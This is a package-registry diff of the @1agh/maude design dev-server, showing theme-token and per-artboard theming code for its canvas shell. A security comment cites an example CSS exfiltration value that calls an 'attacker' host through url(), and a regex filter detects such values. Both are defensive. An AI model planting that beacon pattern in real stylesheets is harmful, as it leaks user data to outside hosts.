@1agh/maude 0.22.2 → 0.24.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (125) hide show
  1. package/README.md +34 -1
  2. package/cli/bin/maude.mjs +3 -0
  3. package/cli/commands/cache.mjs +181 -0
  4. package/cli/commands/cache.test.mjs +166 -0
  5. package/cli/commands/design-link.test.mjs +84 -2
  6. package/cli/commands/design.mjs +95 -4
  7. package/cli/commands/design.test.mjs +56 -0
  8. package/cli/commands/help.mjs +34 -0
  9. package/cli/commands/hub.mjs +255 -30
  10. package/cli/commands/hub.test.mjs +135 -10
  11. package/cli/commands/init.mjs +3 -0
  12. package/cli/commands/preflight.mjs +11 -0
  13. package/cli/commands/preflight.test.mjs +46 -0
  14. package/cli/commands/scenario-report.mjs +45 -0
  15. package/cli/lib/cache.mjs +407 -0
  16. package/cli/lib/cache.test.mjs +303 -0
  17. package/cli/lib/design-link.mjs +222 -11
  18. package/cli/lib/flow-design-integration.test.mjs +165 -0
  19. package/cli/lib/gitignore-block.mjs +90 -0
  20. package/cli/lib/gitignore-block.test.mjs +123 -0
  21. package/cli/lib/hubs-config.mjs +42 -4
  22. package/cli/lib/plugin-cli-reachability.test.mjs +56 -0
  23. package/cli/lib/preflight.mjs +41 -10
  24. package/package.json +8 -8
  25. package/plugins/design/dev-server/ai-banner.tsx +2 -2
  26. package/plugins/design/dev-server/annotations-context-toolbar.tsx +349 -112
  27. package/plugins/design/dev-server/annotations-layer.tsx +906 -137
  28. package/plugins/design/dev-server/api.ts +109 -4
  29. package/plugins/design/dev-server/bin/preflight.sh +21 -10
  30. package/plugins/design/dev-server/bin/prep.sh +211 -0
  31. package/plugins/design/dev-server/bin/scenario-report.mjs +209 -0
  32. package/plugins/design/dev-server/bin/screenshot.sh +18 -1
  33. package/plugins/design/dev-server/bin/smoke.sh +94 -11
  34. package/plugins/design/dev-server/build.ts +69 -3
  35. package/plugins/design/dev-server/canvas-comment-mount.tsx +384 -0
  36. package/plugins/design/dev-server/canvas-cursors.ts +125 -0
  37. package/plugins/design/dev-server/canvas-icons.tsx +130 -0
  38. package/plugins/design/dev-server/canvas-lib.tsx +47 -27
  39. package/plugins/design/dev-server/canvas-meta.schema.json +20 -0
  40. package/plugins/design/dev-server/canvas-shell.tsx +358 -245
  41. package/plugins/design/dev-server/client/app.jsx +191 -21
  42. package/plugins/design/dev-server/client/styles/3-shell.css +10 -0
  43. package/plugins/design/dev-server/collab/awareness-bridge.ts +77 -0
  44. package/plugins/design/dev-server/collab/index.ts +87 -9
  45. package/plugins/design/dev-server/collab/persistence.ts +34 -3
  46. package/plugins/design/dev-server/collab/registry.ts +131 -2
  47. package/plugins/design/dev-server/collab/room.ts +21 -8
  48. package/plugins/design/dev-server/config.schema.json +20 -0
  49. package/plugins/design/dev-server/context-menu.tsx +167 -23
  50. package/plugins/design/dev-server/context.ts +31 -0
  51. package/plugins/design/dev-server/contextual-toolbar.tsx +7 -7
  52. package/plugins/design/dev-server/dist/client.bundle.js +144 -22
  53. package/plugins/design/dev-server/dist/comment-mount.js +1868 -0
  54. package/plugins/design/dev-server/dist/styles.css +16 -0
  55. package/plugins/design/dev-server/dom-selection.ts +156 -0
  56. package/plugins/design/dev-server/equal-spacing-handles.tsx +1 -1
  57. package/plugins/design/dev-server/export-dialog.tsx +19 -17
  58. package/plugins/design/dev-server/fs-watch.ts +1 -0
  59. package/plugins/design/dev-server/hmr-broadcast.ts +51 -20
  60. package/plugins/design/dev-server/http.ts +260 -20
  61. package/plugins/design/dev-server/input-router.tsx +125 -64
  62. package/plugins/design/dev-server/participants-chrome.tsx +10 -10
  63. package/plugins/design/dev-server/server.ts +141 -1
  64. package/plugins/design/dev-server/sync/agent.ts +418 -0
  65. package/plugins/design/dev-server/sync/atomic-write.ts +103 -0
  66. package/plugins/design/dev-server/sync/codec.ts +324 -0
  67. package/plugins/design/dev-server/sync/connection-state.ts +203 -0
  68. package/plugins/design/dev-server/sync/echo-guard.ts +108 -0
  69. package/plugins/design/dev-server/sync/fs-mirror.ts +160 -0
  70. package/plugins/design/dev-server/sync/hubs-config.ts +87 -0
  71. package/plugins/design/dev-server/sync/index.ts +918 -0
  72. package/plugins/design/dev-server/sync/materialize.ts +62 -0
  73. package/plugins/design/dev-server/sync/migrate-seed.ts +163 -0
  74. package/plugins/design/dev-server/sync/origins.ts +57 -0
  75. package/plugins/design/dev-server/sync/projection.ts +368 -0
  76. package/plugins/design/dev-server/sync/status.ts +115 -0
  77. package/plugins/design/dev-server/sync/untrusted.ts +153 -0
  78. package/plugins/design/dev-server/test/_helpers.ts +6 -2
  79. package/plugins/design/dev-server/test/annotations-layer.test.ts +231 -0
  80. package/plugins/design/dev-server/test/annotations-roundtrip.test.ts +276 -0
  81. package/plugins/design/dev-server/test/canvas-cursors.test.ts +73 -0
  82. package/plugins/design/dev-server/test/canvas-origin-gate.test.ts +76 -0
  83. package/plugins/design/dev-server/test/collab-awareness-bridge.test.ts +223 -0
  84. package/plugins/design/dev-server/test/collab-reseed-guard.test.ts +78 -0
  85. package/plugins/design/dev-server/test/collab-room.test.ts +21 -10
  86. package/plugins/design/dev-server/test/comment-mount.test.ts +87 -0
  87. package/plugins/design/dev-server/test/csp-canvas-shell.test.ts +46 -0
  88. package/plugins/design/dev-server/test/fixtures/phase-20-annotations.svg +1 -0
  89. package/plugins/design/dev-server/test/hmr-classify.test.ts +70 -0
  90. package/plugins/design/dev-server/test/input-router.test.ts +21 -0
  91. package/plugins/design/dev-server/test/sanitize-annotation-svg.test.ts +100 -0
  92. package/plugins/design/dev-server/test/shared-doc-convergence.test.ts +265 -0
  93. package/plugins/design/dev-server/test/shared-doc-foundation.test.ts +63 -0
  94. package/plugins/design/dev-server/test/shared-doc-migrate.test.ts +160 -0
  95. package/plugins/design/dev-server/test/shared-doc-projection.test.ts +238 -0
  96. package/plugins/design/dev-server/test/sync-agent.test.ts +278 -0
  97. package/plugins/design/dev-server/test/sync-atomic-write.test.ts +63 -0
  98. package/plugins/design/dev-server/test/sync-codec.test.ts +165 -0
  99. package/plugins/design/dev-server/test/sync-connection-state.test.ts +146 -0
  100. package/plugins/design/dev-server/test/sync-echo-guard.test.ts +96 -0
  101. package/plugins/design/dev-server/test/sync-fs-mirror.test.ts +182 -0
  102. package/plugins/design/dev-server/test/sync-hardening.test.ts +520 -0
  103. package/plugins/design/dev-server/test/sync-hubs-config.test.ts +130 -0
  104. package/plugins/design/dev-server/test/sync-meta-codec.test.ts +123 -0
  105. package/plugins/design/dev-server/test/sync-runtime.test.ts +812 -0
  106. package/plugins/design/dev-server/test/sync-status.test.ts +80 -0
  107. package/plugins/design/dev-server/test/sync-untrusted.test.ts +104 -0
  108. package/plugins/design/dev-server/test/use-collab.test.ts +0 -0
  109. package/plugins/design/dev-server/test/use-tool-mode.test.tsx +38 -10
  110. package/plugins/design/dev-server/tool-palette.tsx +18 -16
  111. package/plugins/design/dev-server/undo-hud.tsx +4 -4
  112. package/plugins/design/dev-server/undo-stack.ts +20 -4
  113. package/plugins/design/dev-server/use-annotation-resize.tsx +16 -5
  114. package/plugins/design/dev-server/use-collab.tsx +157 -13
  115. package/plugins/design/dev-server/use-selection-set.tsx +12 -0
  116. package/plugins/design/dev-server/use-tool-mode.tsx +27 -12
  117. package/plugins/design/dev-server/ws.ts +40 -1
  118. package/plugins/design/templates/_shell.html +63 -5
  119. package/plugins/design/templates/canvas.tsx.template +13 -0
  120. package/plugins/design/templates/design-system-inspiration/SUB-AGENT-PROMPTS.md +15 -7
  121. package/plugins/flow/.claude-plugin/config.schema.json +5 -0
  122. package/plugins/flow/templates/ai-skeleton/README.md +1 -1
  123. package/plugins/flow/templates/ai-skeleton/gitignore +10 -0
  124. package/plugins/flow/templates/ai-skeleton/scenarios/README.md +3 -1
  125. package/plugins/flow/templates/ai-skeleton/workflows.config.json +2 -1
@@ -48,7 +48,6 @@ import {
48
48
  useViewportControllerContext,
49
49
  } from './canvas-lib.tsx';
50
50
  import { type AlignMode, alignLabel, equalSpacingLabel } from './commands/equal-spacing-command.ts';
51
- import { CommentsOverlay } from './comments-overlay.tsx';
52
51
  import {
53
52
  ContextMenuProvider,
54
53
  type ContextRegistry,
@@ -59,6 +58,15 @@ import {
59
58
  } from './context-menu.tsx';
60
59
  import { ContextualToolbar } from './contextual-toolbar.tsx';
61
60
  import { CursorsOverlay } from './cursors-overlay.tsx';
61
+ import {
62
+ cssEscape,
63
+ cssPath,
64
+ deriveFile,
65
+ domPath,
66
+ hoverTargetToSelection,
67
+ realClasses,
68
+ shortText,
69
+ } from './dom-selection.ts';
62
70
  import { EqualSpacingHandles } from './equal-spacing-handles.tsx';
63
71
  import { ExportDialogProvider } from './export-dialog.tsx';
64
72
  import { type HoverTarget, resolveHoverTarget, useInputRouter } from './input-router.tsx';
@@ -75,7 +83,11 @@ import { AnnotationsVisibilityProvider } from './use-annotations-visibility.tsx'
75
83
  import { useCollab } from './use-collab.tsx';
76
84
  import { useCursorModifiers } from './use-cursor-modifiers.tsx';
77
85
  import { useKeyboardDiscipline } from './use-keyboard-discipline.tsx';
78
- import { type Selection, SelectionSetProvider, useSelectionSet } from './use-selection-set.tsx';
86
+ import {
87
+ MaybeSelectionSetProvider,
88
+ type Selection,
89
+ useSelectionSet,
90
+ } from './use-selection-set.tsx';
79
91
  import { useToolMode } from './use-tool-mode.tsx';
80
92
  import { useUndoStack } from './use-undo-stack.tsx';
81
93
 
@@ -86,25 +98,63 @@ import { useUndoStack } from './use-undo-stack.tsx';
86
98
  // plane would otherwise scale a 2 px outline to 0.84 px at 42 % zoom (subpixel
87
99
  // = invisible). No per-element class stamping is used.
88
100
 
89
- // HUD-namespace token block. System-review 2026-05-27 (D-4) flagged that the
101
+ // HUD / chrome token block. System-review 2026-05-27 (D-4) flagged that the
90
102
  // dev-server chrome (toolbar + minimap + halos + marquee + AI banner) used
91
103
  // `var(--accent, …)` which inherited the canvas DS palette — a violet StudyFi
92
104
  // canvas turned the floating cursor toolbar violet. The HUD owns its own
93
105
  // `--maude-hud-*` token family, set on `:root` of the canvas iframe document
94
- // here. Canvas DSs do NOT define `--maude-hud-*`, so HUD CSS resolves against
95
- // this block regardless of what the imported `:root { --accent: … }` looks like.
106
+ // here. Canvas DSs do NOT define these names, so HUD/chrome CSS resolves
107
+ // against this block regardless of what the imported `:root { --accent: … }`
108
+ // looks like.
96
109
  //
97
- // Defaults match the existing inline fallback color (`#d63b1f`, Maude brand
98
- // orange-rust) so no visual change to the default theme. Users who want to
99
- // re-theme the HUD can set `--maude-hud-accent` etc. via a `<style>` block
100
- // AFTER this one (CSS cascade later wins).
110
+ // Two sub-families:
111
+ // `--maude-hud-accent*` theme-agnostic brand orange-rust. Defaults match
112
+ // the existing inline fallback (`#d63b1f`) so the accent never changes with
113
+ // the theme. Users who want to re-theme the HUD can set these via a
114
+ // `<style>` block AFTER this one (CSS cascade — later wins).
115
+ // • `--maude-chrome-*` — NEUTRAL surface/text/border family that DOES follow
116
+ // the Maude chrome theme (system-review 2026-05-28 D9). The whole canvas-
117
+ // shell chrome (workspace plane, dotted grid, floating toolbar, minimap,
118
+ // zoom HUD, popovers, halos, context menu, undo HUD, presence chrome) reads
119
+ // these instead of the DS `--bg-*`/`--fg-*` palette, so the chrome flips
120
+ // dark↔light with the rest of the dev-server while ARTBOARDS keep the theme
121
+ // their design system defines. The set is selected by a `data-maude-theme`
122
+ // attribute on the iframe `documentElement`, propagated over the existing
123
+ // `dgn:*` postMessage bridge (see CanvasRouter onMessage + app.jsx).
124
+ //
125
+ // Values mirror the Maude app-chrome neutrals (client/styles/1-tokens.css) so
126
+ // the in-iframe chrome and the outer shell read as one product. The DARK set is
127
+ // also the default (attribute absent / "dark") so a canvas that never receives
128
+ // a theme message renders coherent-dark — matching the dev-server's own default
129
+ // theme (readInitialTheme() → 'dark'). DDR — mirrors the `--maude-hud-*`
130
+ // precedent; the `data-maude-theme` attribute is deliberately SEPARATE from the
131
+ // DS `data-theme` so chrome theming never touches artboard palettes.
101
132
  const HUD_TOKENS_CSS = `
102
- :root {
133
+ :root,
134
+ :root[data-maude-theme="dark"] {
103
135
  --maude-hud-accent: #d63b1f;
104
136
  --maude-hud-accent-hover: #b8331b;
105
137
  --maude-hud-accent-active: #962a16;
106
138
  --maude-hud-accent-fg: #ffffff;
107
139
  --maude-hud-accent-tint: color-mix(in oklab, #d63b1f 14%, transparent);
140
+
141
+ --maude-chrome-bg-0: oklch(13% 0.012 60);
142
+ --maude-chrome-bg-1: oklch(17% 0.014 60);
143
+ --maude-chrome-bg-2: oklch(20% 0.016 60);
144
+ --maude-chrome-fg-0: oklch(94% 0.014 80);
145
+ --maude-chrome-fg-1: oklch(78% 0.014 80);
146
+ --maude-chrome-border: oklch(28% 0.018 60);
147
+ --maude-chrome-shadow: rgba(0, 0, 0, 0.45);
148
+ --maude-chrome-font-mono: 'Berkeley Mono', 'TX-02', 'JetBrains Mono', 'IBM Plex Mono', ui-monospace, SFMono-Regular, Menlo, monospace;
149
+ }
150
+ :root[data-maude-theme="light"] {
151
+ --maude-chrome-bg-0: oklch(97.5% 0.008 78);
152
+ --maude-chrome-bg-1: oklch(95.5% 0.010 78);
153
+ --maude-chrome-bg-2: oklch(93.0% 0.012 78);
154
+ --maude-chrome-fg-0: oklch(20% 0.020 50);
155
+ --maude-chrome-fg-1: oklch(38% 0.018 50);
156
+ --maude-chrome-border: oklch(86% 0.014 70);
157
+ --maude-chrome-shadow: color-mix(in oklab, oklch(20% 0.020 50) 14%, transparent);
108
158
  }
109
159
  `;
110
160
 
@@ -126,7 +176,7 @@ const HALO_CSS = `
126
176
  elements. NO ring, NO ticks. Synchronous paint (no debounce). */
127
177
  .dc-cv-halo--hover {
128
178
  border: 1.5px solid color-mix(in oklab, var(--maude-hud-accent, #0d99ff) 60%, transparent);
129
- box-shadow: inset 0 0 0 1px var(--bg-0, #ffffff);
179
+ box-shadow: inset 0 0 0 1px var(--maude-chrome-bg-0, #ffffff);
130
180
  }
131
181
  /* Selected (single) — 2px solid + 18% ring halo + 4 filled corner ticks.
132
182
  Ticks are <i class="tick tick-*"> children at inset:-3px, 8x8, accent fill. */
@@ -140,7 +190,7 @@ const HALO_CSS = `
140
190
  height: 8px;
141
191
  background: var(--maude-hud-accent, #0d99ff);
142
192
  border-radius: 1px;
143
- box-shadow: 0 0 0 1px var(--bg-0, #ffffff);
193
+ box-shadow: 0 0 0 1px var(--maude-chrome-bg-0, #ffffff);
144
194
  }
145
195
  .dc-cv-halo--selected .tick-tl { top: -3px; left: -3px; }
146
196
  .dc-cv-halo--selected .tick-tr { top: -3px; right: -3px; }
@@ -174,7 +224,7 @@ const HALO_CSS = `
174
224
  height: 6px;
175
225
  background: var(--maude-hud-accent, #0d99ff);
176
226
  border-radius: 1px;
177
- box-shadow: 0 0 0 1px var(--bg-0, #ffffff);
227
+ box-shadow: 0 0 0 1px var(--maude-chrome-bg-0, #ffffff);
178
228
  }
179
229
  .dc-cv-group-bbox .tick-tl { top: -3px; left: -3px; }
180
230
  .dc-cv-group-bbox .tick-tr { top: -3px; right: -3px; }
@@ -301,16 +351,36 @@ export function CanvasShell({
301
351
  children: ReactNode;
302
352
  }) {
303
353
  ensureHaloStyles();
354
+
355
+ // D9 — "Follow chrome" artboards. When the chrome theme flips (the theme
356
+ // postMessage handler in CanvasRouter updates `data-maude-theme` on <html>),
357
+ // re-point every artboard the user marked as a follower at the new theme.
358
+ // A single observer per canvas (cleaned up on unmount) — no per-artboard
359
+ // listeners to leak. The override itself is a CSS rule keyed by data-dc-screen
360
+ // (see setArtboardTheme), so it survives React re-renders without flicker.
361
+ useEffect(() => {
362
+ if (typeof MutationObserver === 'undefined' || typeof document === 'undefined') return;
363
+ const obs = new MutationObserver(() => applyArtboardFollowers());
364
+ obs.observe(document.documentElement, {
365
+ attributes: true,
366
+ attributeFilter: ['data-maude-theme'],
367
+ });
368
+ return () => obs.disconnect();
369
+ }, []);
370
+
304
371
  // ToolProvider is mounted by DesignCanvas one level up (so the viewport
305
372
  // controller's `isPanDragActive` predicate can read the live tool state).
373
+ // SelectionSetProvider is mounted via MaybeSelectionSetProvider — the shell-
374
+ // owned comment mount layer provides one, in which case CanvasShell consumes
375
+ // that single instance so the comment router + halos share one selection set.
306
376
  return (
307
- <SelectionSetProvider>
377
+ <MaybeSelectionSetProvider>
308
378
  <AnnotationSelectionProvider>
309
379
  <AnnotationsVisibilityProvider>
310
380
  <CanvasCore hostRef={hostRef}>{children}</CanvasCore>
311
381
  </AnnotationsVisibilityProvider>
312
382
  </AnnotationSelectionProvider>
313
- </SelectionSetProvider>
383
+ </MaybeSelectionSetProvider>
314
384
  );
315
385
  }
316
386
 
@@ -644,6 +714,194 @@ function CanvasCore({
644
714
  );
645
715
  }
646
716
 
717
+ // ─────────────────────────────────────────────────────────────────────────────
718
+ // Per-artboard theme override (D9). The canvas-shell CHROME follows the Maude
719
+ // theme via `data-maude-theme`; ARTBOARDS keep their DS theme by default. This
720
+ // block backs the right-click `Theme ▸ DS default / Light / Dark / Follow
721
+ // chrome` submenu — it re-themes a single artboard by stamping its
722
+ // `.dc-artboard` <article> with the DS's theme-wrapper convention.
723
+ //
724
+ // DS theme-wrapper conventions vary (`.mdcc[data-theme]`, `.app[data-theme]`,
725
+ // bare `[data-theme]`, …) and there's no reliable config flag, so we DETECT it
726
+ // with a hidden computed-style probe: stamp a throwaway nested <div> with each
727
+ // candidate `<class>[data-theme=light|dark]` and keep the first whose resolved
728
+ // `--bg-0` differs between light and dark. Because the probe tests a NON-root
729
+ // element, "supported" is exactly "stamping one artboard will work" — a DS that
730
+ // only themes `:root[data-theme]` correctly reports unsupported (you genuinely
731
+ // can't theme a single artboard there).
732
+
733
+ interface DsThemeSupport {
734
+ supported: boolean;
735
+ /** The class the DS scopes its theme blocks to (`''` = bare `[data-theme]`). */
736
+ wrapperClass: string;
737
+ }
738
+
739
+ let _dsThemeSupport: DsThemeSupport | null = null;
740
+
741
+ function detectDsThemeSupport(): DsThemeSupport {
742
+ if (_dsThemeSupport) return _dsThemeSupport;
743
+ const fallback: DsThemeSupport = { supported: false, wrapperClass: '' };
744
+ if (typeof document === 'undefined' || !document.body) return fallback;
745
+ try {
746
+ const host = document.createElement('div');
747
+ host.setAttribute('aria-hidden', 'true');
748
+ host.style.cssText =
749
+ 'position:absolute;left:-9999px;top:0;width:0;height:0;overflow:hidden;pointer-events:none;';
750
+ document.body.appendChild(host);
751
+ const read = (cls: string, theme: string): string => {
752
+ const el = document.createElement('div');
753
+ if (cls) el.className = cls;
754
+ el.setAttribute('data-theme', theme);
755
+ host.appendChild(el);
756
+ const v = getComputedStyle(el).getPropertyValue('--bg-0').trim();
757
+ host.removeChild(el);
758
+ return v;
759
+ };
760
+ // Bare attribute first (cleanest), then the common class conventions.
761
+ let found = fallback;
762
+ for (const cls of ['', 'mdcc', 'app']) {
763
+ const light = read(cls, 'light');
764
+ const dark = read(cls, 'dark');
765
+ if (light && dark && light !== dark) {
766
+ found = { supported: true, wrapperClass: cls };
767
+ break;
768
+ }
769
+ }
770
+ document.body.removeChild(host);
771
+ _dsThemeSupport = found;
772
+ return found;
773
+ } catch {
774
+ return fallback;
775
+ }
776
+ }
777
+
778
+ // Why not just stamp `data-theme` on the `.dc-artboard` element? Two reasons,
779
+ // both found the hard way: (1) React OWNS the artboard <article> + the canvas
780
+ // content's `rootClass` wrapper — it reconciles their className/attrs back to
781
+ // the JSX values on every re-render, wiping any imperative mutation; and (2)
782
+ // the canvas content carries its OWN `rootClass[data-theme]` wrapper (the DS
783
+ // default), which re-establishes the default tokens BELOW the artboard, so
784
+ // setting `data-theme` on the outer article never reaches the content. The
785
+ // robust mechanism is a single injected <style> keyed by the STABLE
786
+ // `data-dc-screen` attribute (which React always re-renders WITH), re-declaring
787
+ // the chosen theme's `--*` tokens scoped to the artboard's content wrapper.
788
+ // Survives re-renders, beats the wrapper on cascade order, zero flicker.
789
+
790
+ // Reject token VALUES that could turn the re-emitted <style> into a resource
791
+ // fetch / exfil beacon. Per the CSS spec a custom-property value can't contain
792
+ // an unmatched top-level `}` (so brace-breakout to other selectors is already
793
+ // impossible), but `url()` / `image()` / `@import` / comments survive verbatim.
794
+ // For a TRUSTED same-origin DS this is inert, but a DDR-054 untrusted synced
795
+ // canvas could ship `--bg-0: #fff url(https://attacker/x?leak)` — copying it
796
+ // here would fire that fetch when the artboard renders. Drop such values; the
797
+ // token simply falls back to the DS default for that artboard. (Security
798
+ // review F2, 2026-05-29 — defense-in-depth on top of the canvas-origin CSP.)
799
+ const _UNSAFE_TOKEN_VALUE = /url\(|image\(|image-set\(|-image-set\(|@import|\/\*|expression\(/i;
800
+
801
+ // Collect a DS theme block's custom-property declarations by scanning the
802
+ // loaded stylesheets for top-level rules whose selector targets that theme.
803
+ // Only `--*` props are copied (token re-definitions) — never layout/type, and
804
+ // never @media-nested rules (e.g. the prefers-reduced-motion 1ms collapse).
805
+ const _themeDecls: Partial<Record<'light' | 'dark', string>> = {};
806
+ function collectThemeDeclarations(theme: 'light' | 'dark'): string {
807
+ const cached = _themeDecls[theme];
808
+ if (cached != null) return cached;
809
+ let decls = '';
810
+ if (typeof document !== 'undefined') {
811
+ for (const sheet of Array.from(document.styleSheets)) {
812
+ let rules: CSSRuleList | undefined;
813
+ try {
814
+ rules = sheet.cssRules;
815
+ } catch {
816
+ continue; // cross-origin / unreadable sheet
817
+ }
818
+ if (!rules) continue;
819
+ for (const rule of Array.from(rules)) {
820
+ if (!(rule instanceof CSSStyleRule)) continue;
821
+ if (!(rule.selectorText || '').includes(`[data-theme="${theme}"]`)) continue;
822
+ const style = rule.style;
823
+ for (let i = 0; i < style.length; i++) {
824
+ const prop = style[i];
825
+ if (!prop.startsWith('--')) continue;
826
+ const value = style.getPropertyValue(prop);
827
+ if (_UNSAFE_TOKEN_VALUE.test(value)) continue;
828
+ decls += `${prop}:${value};`;
829
+ }
830
+ }
831
+ }
832
+ }
833
+ _themeDecls[theme] = decls;
834
+ return decls;
835
+ }
836
+
837
+ const _artboardThemes = new Map<string, 'light' | 'dark'>();
838
+ const _artboardFollowers = new Set<string>();
839
+
840
+ function cssEsc(v: string): string {
841
+ return typeof CSS !== 'undefined' && CSS.escape ? CSS.escape(v) : v;
842
+ }
843
+
844
+ // Selector targeting the artboard's content wrapper (where the DS theme block
845
+ // is re-established). Beats `.<wrapper>[data-theme="…"]` because the injected
846
+ // <style> is appended after the DS stylesheet (later-wins on equal specificity).
847
+ function artboardScopeSelector(screenId: string): string {
848
+ const { wrapperClass } = detectDsThemeSupport();
849
+ const base = `[data-dc-screen="${cssEsc(screenId)}"]`;
850
+ if (wrapperClass) {
851
+ const c = cssEsc(wrapperClass);
852
+ return `${base} .${c},${base}.${c}`;
853
+ }
854
+ return `${base} [data-theme],${base}[data-theme]`;
855
+ }
856
+
857
+ function rebuildArtboardThemeStyle(): void {
858
+ if (typeof document === 'undefined') return;
859
+ let el = document.getElementById('dc-artboard-theme-css') as HTMLStyleElement | null;
860
+ if (!el) {
861
+ el = document.createElement('style');
862
+ el.id = 'dc-artboard-theme-css';
863
+ document.head.appendChild(el);
864
+ }
865
+ let css = '';
866
+ for (const [screenId, theme] of _artboardThemes) {
867
+ const decls = collectThemeDeclarations(theme);
868
+ if (decls) css += `${artboardScopeSelector(screenId)}{${decls}}\n`;
869
+ }
870
+ el.textContent = css;
871
+ }
872
+
873
+ /** Current canvas-shell chrome theme (mirrors `data-maude-theme` on <html>). */
874
+ function currentChromeTheme(): 'light' | 'dark' {
875
+ if (typeof document === 'undefined') return 'dark';
876
+ return document.documentElement.dataset.maudeTheme === 'light' ? 'light' : 'dark';
877
+ }
878
+
879
+ /**
880
+ * Set (or clear) a single artboard's theme override, keyed by its stable
881
+ * `data-dc-screen` id. `theme === null` → remove the override (DS default).
882
+ * `follow === true` → mirror the live chrome theme and keep tracking toggles.
883
+ */
884
+ function setArtboardTheme(screenId: string, theme: 'light' | 'dark' | null, follow = false): void {
885
+ _artboardFollowers.delete(screenId);
886
+ if (follow) {
887
+ _artboardFollowers.add(screenId);
888
+ _artboardThemes.set(screenId, currentChromeTheme());
889
+ } else if (theme === null) {
890
+ _artboardThemes.delete(screenId);
891
+ } else {
892
+ _artboardThemes.set(screenId, theme);
893
+ }
894
+ rebuildArtboardThemeStyle();
895
+ }
896
+
897
+ /** Re-point every "Follow chrome" artboard at the current chrome theme. */
898
+ function applyArtboardFollowers(): void {
899
+ if (_artboardFollowers.size === 0) return;
900
+ const t = currentChromeTheme();
901
+ for (const id of _artboardFollowers) _artboardThemes.set(id, t);
902
+ rebuildArtboardThemeStyle();
903
+ }
904
+
647
905
  // ─────────────────────────────────────────────────────────────────────────────
648
906
  // Registry builder — closes over controller + clear callback.
649
907
 
@@ -728,6 +986,56 @@ function buildRegistry(deps: {
728
986
  },
729
987
  });
730
988
 
989
+ // D9 — per-artboard theme override, keyed by the stable `data-dc-screen` id
990
+ // (target.artboardId) via an injected stylesheet (see setArtboardTheme). The
991
+ // DS-supports-both probe gates the explicit Light/Dark entries; "DS default"
992
+ // + "Follow chrome" are always available.
993
+ const themeSupport = detectDsThemeSupport();
994
+ const themeHint = 'This design system defines only one theme';
995
+ const themeItem: MenuItem = {
996
+ id: 'theme',
997
+ label: 'Theme',
998
+ onSelect: () => {
999
+ /* parent of a submenu — never invoked directly */
1000
+ },
1001
+ submenu: [
1002
+ {
1003
+ id: 'theme-ds-default',
1004
+ label: 'DS default',
1005
+ onSelect: (target) => {
1006
+ if (target.artboardId) setArtboardTheme(target.artboardId, null);
1007
+ },
1008
+ },
1009
+ {
1010
+ id: 'theme-light',
1011
+ label: 'Light',
1012
+ disabled: !themeSupport.supported,
1013
+ disabledHint: themeHint,
1014
+ onSelect: (target) => {
1015
+ if (target.artboardId) setArtboardTheme(target.artboardId, 'light');
1016
+ },
1017
+ },
1018
+ {
1019
+ id: 'theme-dark',
1020
+ label: 'Dark',
1021
+ disabled: !themeSupport.supported,
1022
+ disabledHint: themeHint,
1023
+ onSelect: (target) => {
1024
+ if (target.artboardId) setArtboardTheme(target.artboardId, 'dark');
1025
+ },
1026
+ },
1027
+ {
1028
+ id: 'theme-follow',
1029
+ label: 'Follow chrome',
1030
+ disabled: !themeSupport.supported,
1031
+ disabledHint: themeHint,
1032
+ onSelect: (target) => {
1033
+ if (target.artboardId) setArtboardTheme(target.artboardId, null, true);
1034
+ },
1035
+ },
1036
+ ],
1037
+ };
1038
+
731
1039
  return {
732
1040
  element: [
733
1041
  [
@@ -853,6 +1161,7 @@ function buildRegistry(deps: {
853
1161
  onSelect: () => distributeArtboards('y'),
854
1162
  },
855
1163
  ],
1164
+ [themeItem],
856
1165
  [exportItem('export-artboard', 'Export this artboard…', 'artboard')],
857
1166
  ],
858
1167
  world: [
@@ -929,6 +1238,13 @@ function CanvasRouter({
929
1238
  // user closes the composer.
930
1239
  useEffect(() => {
931
1240
  if (typeof window === 'undefined') return;
1241
+ // Default the canvas-shell chrome theme to dark (matches the dev-server's
1242
+ // own default + the bare `:root` --maude-chrome-* set) so a canvas that
1243
+ // never receives a `dgn:'theme'` message still renders coherent-dark and
1244
+ // the follow-chrome observer (Task 5) has a concrete value to mirror.
1245
+ if (!document.documentElement.dataset.maudeTheme) {
1246
+ document.documentElement.dataset.maudeTheme = 'dark';
1247
+ }
932
1248
  const onMessage = (e: MessageEvent) => {
933
1249
  const m = e.data as { dgn?: string } | null;
934
1250
  if (!m || typeof m !== 'object' || !m.dgn) return;
@@ -943,6 +1259,19 @@ function CanvasRouter({
943
1259
  if (typeof t === 'string') setTool(t as never);
944
1260
  return;
945
1261
  }
1262
+ // D9 — canvas-shell chrome follows the Maude chrome theme. The chrome's
1263
+ // `--maude-chrome-*` token family is keyed by `data-maude-theme` on the
1264
+ // iframe documentElement (see HUD_TOKENS_CSS). This attribute is
1265
+ // DELIBERATELY separate from the DS `data-theme`: it only re-themes the
1266
+ // floating chrome, never the artboard palettes. Followers (per-artboard
1267
+ // "Follow chrome") restamp via the MutationObserver in CanvasShell.
1268
+ if (m.dgn === 'theme') {
1269
+ const t = (m as { theme?: string }).theme;
1270
+ if (t === 'light' || t === 'dark') {
1271
+ document.documentElement.dataset.maudeTheme = t;
1272
+ }
1273
+ return;
1274
+ }
946
1275
  };
947
1276
  window.addEventListener('message', onMessage);
948
1277
  return () => window.removeEventListener('message', onMessage);
@@ -1020,103 +1349,18 @@ function CanvasRouter({
1020
1349
  annotSel.clear();
1021
1350
  setHoverEl(null);
1022
1351
  },
1023
- onDropComment: ({ clientX, clientY }) => {
1024
- // First try deep mode preferred when the user clicks exactly on
1025
- // a stamped element. When the deep hit lands on an element with
1026
- // `pointer-events: none` (decorative <svg> children, overlay icons),
1027
- // elementFromPoint propagates past it and `resolveHoverTarget`
1028
- // returns null because the next-closest hit is `.dc-artboard-body`
1029
- // itself.
1030
- let target = resolveHoverTarget(document, clientX, clientY, { deep: true });
1031
- if (!target) target = resolveHoverTarget(document, clientX, clientY, { deep: false });
1032
- // Phase 6 fallback — when both resolveHoverTarget passes bail (the
1033
- // `hit === bodyEl` early-exit triggers on `pointer-events: none`
1034
- // decorations), enumerate every element under the click point and
1035
- // climb the first one that has `data-cd-id`. This is how clicks on
1036
- // SVG logos / icon glyphs land on the actual stamped wrapper.
1037
- if (!target && typeof document.elementsFromPoint === 'function') {
1038
- const stack = document.elementsFromPoint(clientX, clientY);
1039
- for (const candidate of stack) {
1040
- const stamped = (candidate as Element).closest?.('[data-cd-id]') as HTMLElement | null;
1041
- if (!stamped) continue;
1042
